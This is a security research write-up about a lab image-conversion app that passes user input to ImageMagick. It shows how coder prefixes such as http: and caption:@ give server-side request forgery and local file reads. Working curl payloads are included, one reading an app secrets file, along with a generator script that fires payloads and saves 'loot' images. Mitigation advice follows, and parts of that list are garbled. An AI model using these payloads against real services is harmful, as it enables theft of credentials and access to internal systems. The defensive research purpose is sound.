How a friendly “upload your photo, we’ll convert it” feature becomes server-side request forgery and arbitrary local file disclosure — and how modern ImageMagick changes the shape of the attack.
PhotoBox is a stand-in for a very common design: a web app that accepts an image (“HEIC supported!”) and shells out to ImageMagick to convert it to PNG. It has an upload field and an “import from URL” field. The conversion is, in essence:
convert <source> /var/www/html/out/xxxx.png
The arguments are shell-escaped — there is no shell injection. The bug lives one layer deeper, inside ImageMagick.
ImageMagick treats its input filename as coder:target — a mini-URL with its
own scheme. When user input reaches that position, the user chooses the scheme:
| Input | ImageMagick does | Impact |
|---|---|---|
| http://169.254.169.254/… | server-side HTTP GET (http: coder) | SSRF |
| caption:@/etc/passwd | reads the file, renders its text into the image | Local file read |
| label:@/path | same, single-line | Local file read |
Two conditions make it exploitable: (1) user input reaches the coder/source position, and
(2) a permissive policy.xml leaves those coders enabled. Ubuntu ships a
locked-down policy by default; the classic mistake is loosening it “to make conversions work.”
php-imagick
library binding with no shell at all. escapeshellarg() fully defends the
OS shell — the payload caption:@/etc/passwd contains no shell metacharacters.
The danger is entirely ImageMagick interpreting the coder prefix.
A read primitive is useless if you can’t get the data back. The trick: convert’s whole
job is to return an image. So you make the secret become the image —
caption:@/etc/passwd renders the file’s text into the PNG the app hands you.
Open it, or OCR it. The feature is its own exfil channel.
The app echoes convert’s stderr, which leaks the engine instantly:
$ curl -s --data-urlencode 'src=/nope.jpg' $B/ | grep -A2 'convert log'
convert-im6.q16: unable to open image `/nope.jpg' … error/blob.c/OpenBlob
Send each coder and classify the response (rendered image vs. policy error vs. crash) to
learn what’s enabled. On the lab: http/https/label/caption/text fire;
msl crashes; content-based svg/mvg are dead (see §6).
# SSRF — reach a loopback-only internal service
curl -s --data-urlencode 'src=http://127.0.0.1/internal.php' $B/
# SSRF with readback — steal an internal image service's contents
curl -s --data-urlencode 'src=http://127.0.0.1/internal_map.php' $B/ # returns the image
# Local file read (the heist)
curl -s --data-urlencode 'src=caption:@/var/www/private/app_secrets.env' $B/
# → the returned PNG contains DB_PASSWORD and the API key
Constraint worth noting: convert runs as www-data, so file
read is limited to what that user can read. A root-owned 600 file does
not leak. Least privilege limits the blast radius; it does not fix the bug.
heic-heist-gen.py takes an attack + target, writes a payload artifact, and can
fire the working payload and save the returned loot image:
./heic-heist-gen.py fileread --file /etc/passwd \
--fire https://research.redhillsresearch.org/lab/ --user lab --password '<pw>'
# → loot.png (the file rendered into an image, ready to OCR)
The original 2016 ImageTragick attack put the payload in file content sniffed as MVG/MSL/SVG — “upload a magic image, pop the server.” On a current build that is neutralised: SVG routes to an absent/blocked external delegate, MVG won’t engage, MSL segfaults. The live vector today is coder/argument injection via a feature (import-by-URL), not a booby-trapped upload. If you only test the old upload payloads, you’ll call a vulnerable pipeline safe.
convert png:/tmp/in out.png.policy.xml: deny HTTP, HTTPS, URL, FTP, MVG, MSL,
LABEL, CAPTION, TEXT, EPHEMERAL, … and set
<policy domain="path" rights="none" pattern="@*"/>. One coder per line —
ImageMagick does not expand {A,B} brace-lists.convert stderr to users; it’s free recon.convert -list policy.
→ Enter the lab (access-gated)